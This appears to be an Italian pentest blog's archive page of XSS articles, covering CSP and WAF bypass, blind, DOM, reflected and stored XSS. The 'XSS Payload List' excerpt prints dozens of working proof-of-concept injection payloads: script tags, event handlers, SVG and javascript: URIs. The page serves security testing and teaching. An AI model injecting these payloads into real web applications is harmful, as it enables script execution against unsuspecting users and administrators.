Xss on Ethical Hacking | Pentest e Sicurezza Informatica | Hackita

CSP Bypass: come aggirare Content Security Policy nei test XSS

Sun, 29 Mar 2026 00:00:00 +0000

Content Security Policy (CSP) è considerata la difesa più solida contro XSS. In teoria, una CSP ben configurata blocca l’esecuzione di JavaScript iniettato. In pratica, la maggior parte delle CSP reali è configurata in modo da rendere il bypass possibile — o addirittura semplice.

Questa guida copre l’analisi di CSP e le tecniche di bypass più efficaci usate nei pentest professionali.

→ Torna alla guida principale: XSS Completo

Come Funziona CSP #

CSP è un header HTTP che dice al browser quali risorse può caricare ed eseguire. Il server invia:

XSS Payload List: cheat sheet completa per context, bypass e blind XSS

Sun, 29 Mar 2026 00:00:00 +0000

Lista di riferimento per payload XSS categorizzati per context, tecnica e scopo. Da usare durante pentest e bug bounty per coprire sistematicamente i vettori più comuni e bypassare i filtri frequenti.

→ Torna alla guida principale,per scoprire cos’è xss e le sue varianti: XSS Completo

Payload Base per Proof of Concept #

javascript

<script>alert(document.domain)</script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<iframe onload=alert(1) src=about:blank>

Payload per Context HTML Body #

javascript

// Tag script
<script>alert(document.domain)</script>
<SCRIPT>alert(1)</SCRIPT>
<ScRiPt>alert(1)</ScRiPt>

// Evento su img
<img src=x onerror=alert(1)>
<img src=x onerror="alert(1)">
<img src=x oNErRoR=alert(1)>
<img/src=x/onerror=alert(1)>

// SVG
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg onload="alert(1)">
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x to=y>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x">

// HTML5 event handlers
<details open ontoggle=alert(1)>
<body onpageshow=alert(1)>
<marquee onstart=alert(1)>
<video autoplay oncanplay=alert(1) src=x>
<audio autoplay oncanplay=alert(1) src=x>

// Link JavaScript
<a href="javascript:alert(1)">X</a>
<a href=javascript:alert(1)>X</a>

// Object / Embed
<object data=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<iframe src="javascript:alert(document.domain)">

// Form
<form action=javascript:alert(1)><input type=submit>
<button formaction=javascript:alert(1)>X</button>

// Input events
<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus><input autofocus>
<input type="image" src=x onerror=alert(1)>

Payload per Context Attributo HTML #

Quando l’input finisce in un attributo HTML come <input value="INPUT">:

XSS WAF Bypass: come aggirare Cloudflare, AWS WAF e ModSecurity

Sun, 29 Mar 2026 00:00:00 +0000

Un Web Application Firewall (WAF) è spesso il primo ostacolo che incontri in un pentest su target di produzione. Cloudflare, AWS WAF, ModSecurity, Imperva, Akamai — tutti usano regole per rilevare e bloccare payload XSS. Nessuno è impenetrabile.

Questa guida copre le tecniche di bypass per i WAF più diffusi, con un approccio metodico: prima capisci il WAF, poi lo aggiri.

→ Torna alla guida principale: XSS Completo
→ Per bypass di filtri applicativi: XSS Filter Bypass

Blind XSS: cos'è e come scoprirlo con callback out-of-band e XSS Hunter

Sat, 28 Mar 2026 00:00:00 +0000

Blind XSS è la variante più subdola del Cross-Site Scripting: il payload viene eseguito in un contesto che non vedi mai direttamente. Nessun alert box, nessuna response visibile. Il codice si attiva quando qualcun altro — tipicamente un admin o un operatore — apre la pagina che contiene il tuo payload.

Negli assessment web professionali, Blind XSS colpisce bersagli di alto valore: pannelli admin, sistemi di log, dashboard analytics, tool interni di gestione. Il ritardo tra iniezione ed esecuzione può essere di ore, giorni o settimane.

DOM XSS: Cos'è e come trovare source e sink nascosti nel JavaScript

Sat, 28 Mar 2026 00:00:00 +0000

DOM-based XSS è la variante più sottile del Cross-Site Scripting. Il server non è coinvolto nel processo di iniezione: il payload viene processato interamente dal JavaScript client-side, spesso senza lasciare traccia nei log server-side e senza essere visibile agli scanner tradizionali.

È il tipo di XSS più difficile da trovare automaticamente e più facile da non patchare — perché richiede di leggere e capire il JavaScript dell’applicazione, non solo l’HTML della response.

Reflected XSS: come trovarlo, sfruttarlo e far eseguire il payload

Sat, 28 Mar 2026 00:00:00 +0000

Reflected XSS è la tipologia di Cross-Site Scripting più diffusa e la prima che incontri durante un web pentest. Il payload non viene salvato da nessuna parte: entra nella richiesta HTTP e viene riflesso direttamente nella response. Per sfruttarlo devi fare in modo che la vittima esegua la richiesta malevola — tramite link, redirect o form.

Sottovalutato rispetto allo stored XSS, ma con il vettore di delivery giusto l’impatto è identico.

XSS Filter Bypass: payload e tecniche per superare filtri server-side

Sat, 28 Mar 2026 00:00:00 +0000

XSS Filter Bypass: Tecniche per Eludere Filtri Server-Side #

I filtri XSS sono l’ostacolo che separa un tester mediocre da uno efficace. Ogni applicazione implementa le proprie regole di sanitizzazione — spesso in modo incompleto, inconsistente o bypassabile con approcci minimali.

Questa guida cataloga le tecniche di bypass più efficaci per i filtri server-side più comuni. Non basta conoscere un payload: devi capire perché il filtro non lo blocca.

XSS Stored (Persistent XSS): Exploit, Cookie Theft e Worm Web

Sat, 21 Mar 2026 00:00:00 +0000

Un XSS Stored (o XSS Persistente) è una vulnerabilità in cui il payload JavaScript dell’attaccante viene salvato nel database dell’applicazione e poi eseguito nel browser di ogni utente che visita la pagina che contiene quel dato. A differenza del XSS Reflected — dove la vittima deve cliccare un URL specifico — lo Stored non richiede interazione: il payload è già nella pagina, pronto a scattare.

Questo lo rende molto più pericoloso. Un commento con payload XSS in un forum viene eseguito da tutti gli utenti che leggono quel thread — centinaia, migliaia di persone. Un nome utente con JavaScript viene eseguito nella dashboard di ogni admin che visualizza la lista utenti. Un messaggio in una chat aziendale viene eseguito da ogni dipendente che apre la conversazione.

XSS (Cross-Site Scripting): Exploit Web, Payload e Bypass Avanzati

Thu, 05 Feb 2026 00:00:00 +0000

Cross-Site Scripting (XSS) è da anni tra le prime tre vulnerabilità nell’OWASP Top 10 — e per una ragione precisa: è ovunque, è sottovalutato, e nelle mani giuste diventa un punto d’ingresso verso compromissioni molto più gravi di quanto ci si aspetti.

Questa guida copre XSS in modo completo: dalla teoria alla weaponization, dai payload base ai bypass avanzati di WAF e CSP. Che tu stia preparando un pentest, un bug bounty o stia studiando per l’OSCP, trovi tutto qui.